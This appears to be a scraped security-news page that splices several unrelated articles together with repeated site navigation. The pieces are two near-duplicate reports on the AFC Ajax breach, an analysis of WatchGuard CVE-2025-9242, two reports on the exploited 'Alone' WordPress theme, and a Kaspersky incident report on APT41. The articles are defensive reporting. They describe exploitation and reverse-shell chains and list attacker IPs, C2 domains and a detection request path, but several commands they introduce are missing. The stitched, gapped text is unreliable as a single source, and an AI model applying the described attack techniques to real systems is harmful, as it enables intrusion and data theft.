Cybersecurity jobs available right now: March 24, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now.

SYSTEMS AMD inches closer to its goal of making AI suck less ... energyHouse of Zen claims latest systems already 4x more efficient than two years ago Google pits Marvell against Broadcom as it chases AI crownAnd Marvell just offered the Chocolate Factory a $12.2B stake to sweeten the deal SYSTEMS Cerebras CS-4 rack systems juice chips for every last drop of AI performanceNext-gen systems double per-chip performance while cramming 3x as many into a rack Security Copilot tricked into telling reseachers how to hack itselfHow to social engineer an AI's reasoning engine AI and ml Payments giant Stripe is about to drop over $7 billion to become a gateway to AI token salesAI gateways look promising as companies struggle with model orchestration Security Russians are posing as Signal support to launch phishing attacksPLUS: US takes down Iranian propaganda sites; Marketing company asks 'Why Do We Have Your Information?' And more! Security Microsoft patches failed to fix on-prem SharePoint, which is now under zero-day attackPLUS: China upgrades smartphone surveillance tools; Ring eases anti-snooping stance; and more Black Hat and DEF CON DEF CON Franklin project enlists hackers to harden critical infrastructureVoting village reports have been so successful, says Jeff Moss, that the whole of DEF CON will now be included Security EQT buys majority share in Swiss cybersecurity biz AcronisWent at equivalent of $3.5B+ valuation for entire firm, though portion sold not specified Malware Month Ten years since the first corp ransomware, Mikko Hyppönen sees no end in sightOn the plus side, infosec's a good bet for a long, stable career FOSS smashed one Microsoft monopoly. After 20 years of failure, it's time to smash anotherWord up GNOME can look like Windows – and Flashback can do it without extensionsNew 'Simple-taskbar' is an option, but there's a simpler, stabler way A moment of silence, please, for the final release of Debian on x86-32New Debian versions hit FOSSland in the form of 13.6 and 12.15 Baddies caught exploiting extensions bugs with perfect 10 scores on vulnerable Joomla websitesFlaws in iCagenda, Balbooa Forms extensions can impact open source CMS that powers a million sites worldwide Frame: A new X11 server – implemented directly in assemblyJoins yserver, Phoenix, and of course XLibre – and outlier Arcan Cinnamon 6.8 will support Wayland – if you want itNext version of Linux Mint’s desktop has both kinds of display server

Ajax data breach exposed season tickets, supporter bans open to tampering AFC Ajax, the Dutch football club from Amsterdam, disclosed that an unknown hacker gained access to parts of its IT systems and obtained the email addresses of a few hundred people. The hack exploited vulnerabilities in Ajax’s app and website, including exposed APIs and shared access keys. The club stated that names, email addresses, and dates of birth were accessed for fewer than 20 individuals subject to a stadium ban. An RTL journalist, who was approached by the hacker, alerted the club to the incident. “For now, we know that access was gained to part of our systems and data, but at this moment we have no indication that the data has been further spread. Nevertheless, we remind everyone that it is always wise to stay alert for unwanted emails (spam) or phishing messages,” AFC Ajax said in a statement. The journalist also demonstrated that tickets could be transferred to others and that stadium bans could be modified. According to RTL, the hack makes it possible to access private data from more than 300,000 registered Ajax fans and to steal or disable more than 42,000 season tickets. Season ticket holders cannot prevent this, as the ticket can disappear from their account and can no longer be used. It further allows access to information showing which 538 Ajax supporters have an active stadium ban. The club said it had launched an investigation with external experts into the cause and scope of the incident, patched the vulnerabilities, and strengthened its security. A police report was filed, and the Dutch Data Protection Authority notified. “We advise everyone once again to be extra alert to suspicious emails and never to click on links or open attachments from unknown senders,” Ajax warned. The fact that the vulnerability was disclosed to a journalist and did not end up on the dark web may indicate that the hacker did not have malicious intentions.

Dutch professional football club Ajax Amsterdam (AFC Ajax) disclosed that a hacker exploited vulnerabilities in its IT systems and accessed data belonging to a few hundred people. The security issues also allowed transferring purchased tickets to others and enabled modifications to stadium bans imposed to certain individuals. The club learned about the security issues and their effect from journalists who were tipped off by the hacker. AFC Ajax is one of the most successful football clubs, winning the UEFA Champions League four times and with 36 Eredivisie titles, the premier professional football league in the Netherlands. “We recently discovered that a hacker in the Netherlands unlawfully gained access to parts of our systems. Data was viewed,” AFC Ajax stated. “What we now know is that only the email addresses of a few hundred people were viewed. In addition, for fewer than 20 people with a stadium ban, their names, email addresses, and dates of birth were accessed.” RTL journalists who received a tip from the hacker independently verified the vulnerabilities and reported that they were able to transfer season tickets from their holders to arbitrary people, access and modify stadium ban records, and gain broad access to fan data via APIs and shared keys. In a demonstration, they reassigned a VIP season ticket in seconds. Most worryingly, RTL stated it could manipulate 42,000 season tickets, 538 supporter stadium bans, and view details on over 300,000 accounts. AFC Ajax says that it has engaged external experts to determine the scope of the incident and identify the root cause, while noting that the exposed data has not been leaked. Meanwhile, all identified vulnerabilities have been patched, and additional security measures have been introduced. The Dutch Data Protection authority, as well as the police, have also been notified accordingly. RTL’s investigation was clearly non-malicious. Likewise, the attacker’s limited access and decision to disclose the flaws via the media, rather than exploit them for profit or extortion, suggest the vulnerabilities were not abused at scale. However, it remains unclear whether this was the first time these weaknesses in Ajax’s systems were discovered or exploited. Ajax fans who have registered with the club’s systems or purchased season tickets should remain vigilant for suspicious communications, especially those impersonating or claiming to come from the AFC Ajax club. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

ai and ML AI slop is good for business if you know what you're doingYour irresponsibility is someone else's opportunity SAAS Salesforce partners not seeing meaningful revenue from Agentforce AI platform, report saysShow us the money ai and ml AI companies are burning books, advocates complain to FTCFahrenheit 203, the temperature GPUs stop gorging on literature DEVOPS Go updates may delight diehard gophers but displease AI overlordsv 1.27 expands generics to support methods EDGE AND IOT Waymo has designed a robocar chip to stay ahead of Tesla5 nm ML accelerators promise 1,000+ TOPS, ultra-low latency Security Russians are posing as Signal support to launch phishing attacksPLUS: US takes down Iranian propaganda sites; Marketing company asks 'Why Do We Have Your Information?' And more! Security Microsoft patches failed to fix on-prem SharePoint, which is now under zero-day attackPLUS: China upgrades smartphone surveillance tools; Ring eases anti-snooping stance; and more Black Hat and DEF CON DEF CON Franklin project enlists hackers to harden critical infrastructureVoting village reports have been so successful, says Jeff Moss, that the whole of DEF CON will now be included Security EQT buys majority share in Swiss cybersecurity biz AcronisWent at equivalent of $3.5B+ valuation for entire firm, though portion sold not specified Malware Month Ten years since the first corp ransomware, Mikko Hyppönen sees no end in sightOn the plus side, infosec's a good bet for a long, stable career FOSS smashed one Microsoft monopoly. After 20 years of failure, it's time to smash anotherWord up GNOME can look like Windows – and Flashback can do it without extensionsNew 'Simple-taskbar' is an option, but there's a simpler, stabler way A moment of silence, please, for the final release of Debian on x86-32New Debian versions hit FOSSland in the form of 13.6 and 12.15 Baddies caught exploiting extensions bugs with perfect 10 scores on vulnerable Joomla websitesFlaws in iCagenda, Balbooa Forms extensions can impact open source CMS that powers a million sites worldwide Frame: A new X11 server – implemented directly in assemblyJoins yserver, Phoenix, and of course XLibre – and outlier Arcan Cinnamon 6.8 will support Wayland – if you want itNext version of Linux Mint’s desktop has both kinds of display server

Cybersecurity researchers have disclosed details of a recently patched critical security flaw in WatchGuard Fireware that could allow unauthenticated attackers to execute arbitrary code. The vulnerability, tracked as CVE-2025-9242 (CVSS score: 9.3), is described as an out-of-bounds write vulnerability affecting Fireware OS 11.10.2 up to and including 11.12.4_Update1, 12.0 up to and including 12.11.3 and 2025.1. "An out-of-bounds write vulnerability in the WatchGuard Fireware OS iked process may allow a remote unauthenticated attacker to execute arbitrary code," WatchGuard said in an advisory released last month. "This vulnerability affects both the mobile user VPN with IKEv2 and the branch office VPN using IKEv2 when configured with a dynamic gateway peer." It has been addressed in the following versions - 2025.1 - Fixed in 2025.1.1 12.x - Fixed in 12.11.4 12.3.1 (FIPS-certified release) - Fixed in 12.3.1_Update3 (B722811) 12.5.x (T15 & T35 models) - Fixed in 12.5.13 11.x - Reached end-of-life A new analysis from watchTowr Labs has described CVE-2025-9242 as having "all the characteristics your friendly neighbourhood ransomware gangs love to see," including the fact that it affects an internet-exposed service, is exploitable sans authentication, and can execute arbitrary code on a perimeter appliance. The vulnerability, per security researcher McCaulay Hudson, is rooted in the function "ike2_ProcessPayload_CERT" present in the file "src/ike/iked/v2/ike2_payload_cert.c" that's designed to copy a client "identification" to a local stack buffer of 520 bytes, and then validate the provided client SSL certificate. The issue arises as a result of a missing length check on the identification buffer, thereby allowing an attacker to trigger an overflow and achieve remote code execution during the IKE_SA_AUTH phase of the handshake process used to establish a virtual private network (VPN) tunnel between a client and WatchGuard's VPN service via the IKE key management protocol. "The server does attempt certificate validation, but that validation happens after the vulnerable code runs, allowing our vulnerable code path to be reachable pre-authentication," Hudson said. WatchTowr noted that while WatchGuard Fireware OS lacks an interactive shell such as "/bin/bash," it's possible to for an attacker to weaponize the flaw and gain control of the instruction pointer register (aka RIP or program counter) to ultimately spawn a Python interactive shell over TCP by leveraging an mprotect() system call, effectively bypassing NX bit (aka no-execute bit) mitigations. Once the remote Python shell is launched, the foothold can be escalated further through a multi-step process to obtain a full Linux shell - Directly executing execve within Python in order to remount the filesystem as read/write Downloading a BusyBox busybox binary onto the target Symlinking /bin/sh to the BusyBox binary The development comes as watchTowr demonstrated that a now-fixed denial-of-service (DoS) vulnerability impacting Progress Telerik UI for AJAX (CVE-2025-3600, CVSS score: 7.5) can also enable remote code execution depending on the targeted environment. The vulnerability was addressed by Progress Software on April 30, 2025. "Depending on the target codebase – for example, the presence of particular no-argument constructors, finalizers, or insecure assembly resolvers – the impact can escalate to remote code execution," security researcher Piotr Bazydlo said. Earlier this month, watchTowr's Sina Kheirkhah also shed light on a critical pre-authenticated command injection flaw in Dell UnityVSA (CVE-2025-36604, CVSS score: 9.8/7.3) that could result in remote command execution. Dell remediated the vulnerability in July 2025 following responsible disclosure on March 28. Update The Shadowserver Foundation has revealed that there are an estimated 73,000 WatchGuard instances that are susceptible to CVE-2025-9242 as October 20, 2025, with the U.S. accounting for about 24,000 of them, followed by Germany (7,045), Italy (6,542), the U.K. (5,333), and Canada (3,866).

Threat actors are actively exploiting a critical security flaw in "Alone – Charity Multipurpose Non-profit WordPress Theme" to take over susceptible sites. The vulnerability, tracked as CVE-2025-5394, carries a CVSS score of 9.8. Security researcher Thái An has been credited with discovering and reporting the bug. According to Wordfence, the shortcoming relates to an arbitrary file upload affecting all versions of the plugin prior to and including 7.8.3. It has been addressed in version 7.8.5 released on June 16, 2025. CVE-2025-5394 is rooted in a plugin installation function named "alone_import_pack_install_plugin()" and stems from a missing capability check, thereby allowing unauthenticated users to deploy arbitrary plugins from remote sources via AJAX and achieve code execution. "This vulnerability makes it possible for an unauthenticated attacker to upload arbitrary files to a vulnerable site and achieve remote code execution, which is typically leveraged for a complete site takeover," Wordfence's István Márton said. Evidence shows that CVE-2025-5394 began to be exploited starting July 12, two days before the vulnerability was publicly disclosed. This indicates that the threat actors behind the campaign may have been actively monitoring code changes for any newly addressed vulnerabilities. The company said it has already blocked 120,900 exploit attempts targeting the flaw. The activity has originated from the following IP addresses - 193.84.71.244 87.120.92.24 146.19.213.18 185.159.158.108 188.215.235.94 146.70.10.25 74.118.126.111 62.133.47.18 198.145.157.102 2a0b:4141:820:752::2 In the observed attacks, the flaw is averaged to upload a ZIP archive ("wp-classic-editor.zip" or "background-image-cropper.zip") containing a PHP-based backdoor to execute remote commands and upload additional files. Also delivered are fully-featured file managers and backdoors capable of creating rogue administrator accounts. To mitigate any potential threats, WordPress site owners using the theme are advised to apply the latest updates, check for any suspicious admin users, and scan logs for the request "/wp-admin/admin-ajax.php?action=alone_import_pack_install_plugin."

Threat actors are actively exploiting a critical unauthenticated arbitrary file upload vulnerability in the WordPress theme 'Alone,' to achieve remote code execution and perform a full site takeover. Wordfence is reporting the malicious activity, saying it has blocked over 120,000 exploitation attempts targeting its customers. The WordPress security firm also reports that the attacks started several days before public disclosure of the flaw, indicating that threat actors are monitoring changelogs and patches to discover trivially exploitable issues before alerts are sent to website owners. The vulnerability, tracked under CVE-2025-5394, impacts all versions of Alone up to 7.8.3. The vendor, Bearsthemes, fixed it in Alone version 7.8.5, released on June 16, 2025. The problem stems from the theme's 'alone_import_pack_install_plugin()' function, which lacks nonce checks and is exposed via the wp_ajax_nopriv_ hook. The function allows plugin installation via AJAX, and accepts a remote source URL in the POST data, enabling unauthenticated users to trigger plugin installations from remote URLs. According to Wordfence, attackers leverage the flaw to upload webshells inside ZIP archives, deploy password-protected PHP backdoors that allow persistent remote command execution via HTTP requests, or create hidden administrator users. In some cases, the attackers even install full-featured file managers that give them complete control over the site's databases. Given the above, signs of compromise include the appearance of new admin users, suspicious ZIP/plugin folders, and requests to 'admin-ajax.php?action=alone_import_pack_install_plugin.' Wordfence logged tens of thousands of exploitation attempts from the IP addresses 193.84.71.244, 87.120.92.24, 146.19.213.18, and 2a0b:4141:820:752::2, so these should be blocked immediately. Alone is a premium theme with nearly 10,000 sales on the Envato market, primarily used by non-profits such as charities, NGOs, fundraising organizations, and social organizations. Although Wordfence submitted a report to Bearsthemes as early as May 30, 2025, they did not hear back, so they escalated the issue to the Envato team on June 12. Four days later, the vendor released a fixed version of Alone, v7.8.5, which is the recommended update target for all users. Last month, another premium WordPress theme, Motors, was targeted by hackers who exploited a user validation flaw to hijack administrator accounts on vulnerable websites. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Introduction Some time ago, Kaspersky MDR analysts detected a targeted attack against government IT services in the African region. The attackers used hardcoded names of internal services, IP addresses, and proxy servers embedded within their malware. One of the C2s was a captive SharePoint server within the victim’s infrastructure. During our incident analysis, we were able to determine that the threat actor behind the activity was APT41 (aka Wicked Panda, Brass Typhoon, Barium or Winnti). This is a Chinese-speaking cyberespionage group known for targeting organizations across multiple sectors, including telecom and energy providers, educational institutions, healthcare organizations and IT energy companies in at least 42 countries. It’s worth noting that, prior to the incident, Africa had experienced the least activity from this APT. Incident investigation and toolkit analysis Detection Our MDR team identified suspicious activity on several workstations within an organization’s infrastructure. These were typical alerts indicating the use of the WmiExec module from the Impacket toolkit. Specifically, the alerts showed the following signs of the activity: A process chain of svchost.exe ➔exe ➔ cmd.exe The output of executed commands being written to a file on an administrative network share, with the file name consisting of numbers separated by dots: The attackers also leveraged the Atexec module from the Impacket toolkit. The attackers used these commands to check the availability of their C2 server, both directly over the internet and through an internal proxy server within the organization. The source of the suspicious activity turned out to be an unmonitored host that had been compromised. Impacket was executed on it in the context of a service account. We would later get that host connected to our telemetry to pinpoint the source of the infection. After the Atexec and WmiExec modules finished running, the attackers temporarily suspended their operations. Privilege escalation and lateral movement After a brief lull, the attackers sprang back into action. This time, they were probing for running processes and occupied ports: They were likely trying to figure out if the target hosts had any security solutions installed, such as EDR, MDR or XDR agents, host administration tools, and so on. Additionally, the attackers used the built-in reg.exe utility to dump the SYSTEM and SAM registry hives. On workstations connected to our monitoring systems, our security solution blocked the activity, which resulted in an empty dump file. However, some hosts within the organization were not secured. As a result, the attackers successfully harvested credentials from critical registry hives and leveraged them in their subsequent attacks. This underscores a crucial point: to detect incidents promptly and minimize damage, security solution agents must be installed on all workstations across the organization without exception. Furthermore, the more comprehensive your telemetry data, the more effective your response will be. It’s also crucial to keep a close eye on the permissions assigned to service and user accounts, making sure no one ends up with more access rights than they really need. This is especially true for accounts that exist across multiple hosts in your infrastructure. In the incident we’re describing here, two domain accounts obtained from a registry dump were leveraged for lateral movement: a domain account with local administrator rights on all workstations, and a backup solution account with domain administrator privileges. The local administrator privileges allowed the attackers to use the SMB protocol to transfer tools for communicating with the C2 to the administrative network share C$. We will discuss these tools – namely Cobalt Strike and a custom agent – in the next section. In most cases, the attackers placed their malicious tools in the C:\WINDOWS\TASKS\ directory on target hosts, but they used other paths too: Files from these directories were then executed remotely using the WMI toolkit: C2 communication Cobalt Strike The attackers used Cobalt Strike for C2 communication on compromised hosts. They distributed the tool as an encrypted file, typically with a TXT or INI extension. To decrypt it, they employed a malicious library injected into a legitimate application via DLL sideloading. Here’s a general overview of how Cobalt Strike was launched: Attackers placed all the required files – the legitimate application, the malicious DLL, and the payload file – in one of the following directories: The malicious library was a legitimate DLL modified to search for an encrypted Cobalt Strike payload in a specifically named file located in the same directory. Consequently, the names of the payload files varied depending on what was hardcoded into the malicious DLL. During the attack, the threat actor used the following versions of modified DLLs and their corresponding payloads: Despite using various legitimate applications to launch Cobalt Strike, the payload decryption process was similar across instances. Let’s take a closer look at one example of Cobalt Strike execution, using the legitimate file cookie_exporter.exe, which is part of Microsoft Edge. When launched, this application loads msedge.dll, assuming it’s in the same directory. The attackers renamed cookie_exporter.exe to Edge.exe and replaced msedge.dll with their own malicious library of the same name. When any dynamic library is loaded, the DllEntryPoint function is executed first. In the modified DLL, this function included a check for a debugging environment. Additionally, upon its initial execution, the library verified the language packs installed on the host. The malicious code would not run if it detected any of the following language packs: Japanese (Japan) Korean (South Korea) Chinese (Mainland China) Chinese (Taiwan) If the system passes the checks, the application that loaded the malicious library executes an exported DLL function containing the malicious code. Because different applications were used to launch the library in different cases, the exported functions vary depending on what the specific software calls. For example, with msedge.dll, the malicious code was implemented in the ShowMessageWithString function, called by cookie_exporter.exe. The ShowMessageWithString function retrieves its payload from Logs.txt, a file located in the same directory. These filenames are typically hardcoded in the malicious dynamic link libraries we’ve observed. The screenshot below shows a disassembled code segment responsible for loading the encrypted file. It clearly reveals the path where the application expects to find the file. The payload is decrypted by repeatedly executing the following instructions using 128-bit SSE registers: Once the payload is decrypted, the malicious executable code from msedge.dll launches it by using a standard method: it allocates a virtual memory region within its own process, then copies the code there and executes it by creating a new thread. In other versions of similarly distributed Cobalt Strike agents that we examined, the malicious code could also be launched by creating a new process or upon being injected into the memory of another running process. Beyond the functionality described above, we also found a code segment within the malicious libraries that appeared to be a message to the analyst. These strings are supposed to be displayed if the DLL finds itself running in a debugger, but in practice this doesn’t occur. Once Cobalt Strike successfully launches, the implant connects to its C2 server. Threat actors then establish persistence on the compromised host by creating a service with a command similar to this: Attackers often use the following service names for embedding Cobalt Strike: Agent During our investigation, we uncovered a compromised SharePoint server that the attackers were using as the C2. They distributed files named agents.exe and agentx.exe via the SMB protocol to communicate with the server. Each of these files is actually a C# Trojan whose primary function is to execute commands it receives from a web shell named CommandHandler.aspx, which is installed on the SharePoint server. The attackers uploaded multiple versions of these agents to victim hosts. All versions had similar functionality and used a hardcoded URL to retrieve commands: The agents executed commands from CommandHandler.aspx using the cmd.exe command shell launched with the /c flag. While analyzing the agents, we didn’t find significant diversity in their core functionality, despite the attackers constantly modifying the files. Most changes were minor, primarily aimed at evading detection. Outdated file versions were removed from the compromised hosts. The attackers used the deployed agents to conduct reconnaissance and collect sensitive data, such as browser history, text files, configuration files, and documents with .doc, .docx and .xlsx extensions. They exfiltrated the data back to the SharePoint server via the upload.ashx web shell. It is worth noting that the attackers made some interesting mistakes while implementing the mechanism for communicating with the SharePoint server. Specifically, if the CommandHandler.aspx web shell on the server was unavailable, the agent would attempt to execute the web page’s error message as a command: Obtaining a command shell: reverse shell via an HTA file If, after their initial reconnaissance, the attackers deemed an infected host valuable for further operations, they’d try to establish an alternative command-shell access. To do this, they executed the following command to download from an external resource a malicious HTA file containing an embedded JavaScript script and run this file: The group attempted to mask their malicious activity by using resources that mimicked legitimate ones to download the HTA file. Specifically, the command above reached out to the GitHub-impersonating domain github[.]githubassets[.]net. The attackers primarily used the site to host JavaScript code. These scripts were responsible for delivering either the next stage of their malware or the tools needed to further the attack. At the time of our investigation, a harmless script was being downloaded from github[.]githubassets[.]net instead of a malicious one. This was likely done to hide the activity and complicate attack analysis. However, we were able to obtain and analyze previously distributed scripts, specifically the malicious file 2CD15977B72D5D74FADEDFDE2CE8934F. Its primary purpose is to create a reverse shell on the host, giving the attackers a shell for executing their commands. Once launched, the script gathers initial host information: It then connects to the C2 server, also located at github[.]githubassets[.]net, and transmits a unique ATTACK_ID along with the initially collected data. The script leverages various connection methods, such as WebSockets, AJAX, and Flash. The choice depends on the capabilities available in the browser or execution environment. Data collection Next, the attackers utilized automation tools such as stealers and credential-harvesting utilities to collect sensitive data. We detail these tools below. Data gathered by these utilities was also exfiltrated via the compromised SharePoint server. In addition to the aforementioned web shell, the SMB protocol was used to upload data to the server. The files were transferred to a network share on the SharePoint server. Pillager A modified version of the Pillager utility stands out among the tools the attackers deployed on hosts to gather sensitive information. This tool is used to export and decrypt data from the target computer. The original Pillager version is publicly available in a repository, accompanied by a description in Chinese. The primary types of data collected by this utility include: Saved credentials from browsers, databases, and administrative utilities like MobaXterm Project source code Screenshots Active chat sessions and data Email messages Active SSH and FTP sessions A list of software installed on the host Output of the systeminfo and tasklist commands Credentials stored and used by the operating system, and Wi-Fi network credentials Account information from chat apps, email clients, and other software A sample of data collected by Pillager: The utility is typically an executable (EXE) file. However, the attackers rewrote the stealer’s code and compiled it into a DLL named wmicodegen.dll. This code then runs on the host via DLL sideloading. They chose convert-moftoprovider.exe, an executable from the Microsoft SDK toolkit, as their victim application. It is normally used for generating code from Managed Object Format (MOF) files. Despite modifying the code, the group didn’t change the stealer’s default output file name and path: C:\Windows\Temp\Pillager.zip. It’s worth noting that the malicious library they used was based on the legitimate SimpleHD.dll HDR rendering library from the Xbox Development Kit. The source code for this library is available on GitHub. This code was modified so that convert-moftoprovider.exe loaded an exported function, which implemented the Pillager code. Interestingly, the path to the PDB file, while appearing legitimate, differs by using PS5 instead of XBOX: Checkout The second stealer the attackers employed was Checkout. In addition to saved credentials and browser history, it also steals information about downloaded files and credit card data saved in the browser. When launching the stealer, the attackers pass it a j8 parameter; without it, the stealer won’t run. The malware collects data into CSV files, which it then archives and saves as CheckOutData.zip in a specially created directory named CheckOut. RawCopy Beyond standard methods for gathering registry dumps, such as using reg.exe, the attackers leveraged the publicly available utility RawCopy (MD5 hash: 0x15D52149536526CE75302897EAF74694) to copy raw registry files. RawCopy is a command-line application that copies files from NTFS volumes using a low-level disk reading method. The following commands were used to collect registry files: Mimikatz The attackers also used Mimikatz to dump account credentials. Like the Pillager stealer, Mimikatz was rewritten and compiled into a DLL. This DLL was then loaded by the legitimate java.exe file (used for compiling Java code) via DLL sideloading. The following files were involved in launching Mimikatz: 123.bat is a BAT script containing commands to launch the legitimate java.exe executable, which in turn loads the dynamic link library for DLL sideloading. This DLL then decrypts and executes the Mimikatz configuration file, config.ini, which is distributed from a previously compromised host within the infrastructure. Retrospective threat hunting As already mentioned, the victim organization’s monitoring coverage was initially patchy. Because of this, in the early stages, we only saw the external IP address of the initial source and couldn’t detect what was happening on that host. After some time, the host was finally connected to our monitoring systems, and we found that it was an IIS web server. Furthermore, despite the lost time, it still contained artifacts of the attack. These included the aforementioned Cobalt Strike implant located in c:\programdata\, along with a scheduler task for establishing persistence on the system. Additionally, a web shell remained on the host, which our solutions detected as HEUR:Backdoor.MSIL.WebShell.gen. This was found in the standard temporary directory for compiled ASP.NET application files: These temporary files are automatically generated and contain the ASPX page code: The web shell was named newfile.aspx. The screenshot above shows its function names. Based on these names, we were able to determine that this instance utilized a Neo-reGeorg web shell tunnel. This tool is used to proxy traffic from an external network to an internal one via an externally accessible web server. Thus, the launch of the Impacket tools, which we initially believed was originating from a host unidentified at the time (the IIS server), was in fact coming from the external network through this tunnel. Attribution We attribute this attack to APT41 with a high degree of confidence, based on the similarities in the TTPs, tooling, and C2 infrastructure with other APT41 campaigns. In particular: The attackers used a number of tools characteristic of APT41, such as Impacket, WMI, and Cobalt Strike. The attackers employed DLL sideloading techniques. During the attack, various files were saved to C:\Windows\Temp. The C2 domain names identified in this incident (s3-azure.com, *.ns1.s3-azure.com, *.ns2.s3-azure.com) are similar to domain names previously observed in APT41 attacks (us2[.]s3bucket-azure[.]online, status[.]s3cloud-azure[.]com). Takeaways and lessons learned The attackers wield a wide array of both custom-built and publicly available tools. Specifically, they use penetration testing tools like Cobalt Strike at various stages of an attack. The attackers are quick to adapt to their target’s infrastructure, updating their malicious tools to account for specific characteristics. They can even leverage internal services for C2 communication and data exfiltration. The files discovered during the investigation indicate that the malicious actor modifies its techniques during an attack to conceal its activities – for example, by rewriting executables and compiling them as DLLs for DLL sideloading. While this story ended relatively well – we ultimately managed to evict the attackers from the target organization’s systems – it’s impossible to counter such sophisticated attacks without a comprehensive knowledge base and continuous monitoring of the entire infrastructure. For example, in the incident at hand, some assets weren’t connected to monitoring systems, which prevented us from seeing the full picture immediately. It’s also crucial to maintain maximum coverage of your infrastructure with security tools that can automatically block malicious activity in the initial stages. Finally, we strongly advise against granting excessive privileges to accounts, and especially against using such accounts on all hosts across the infrastructure.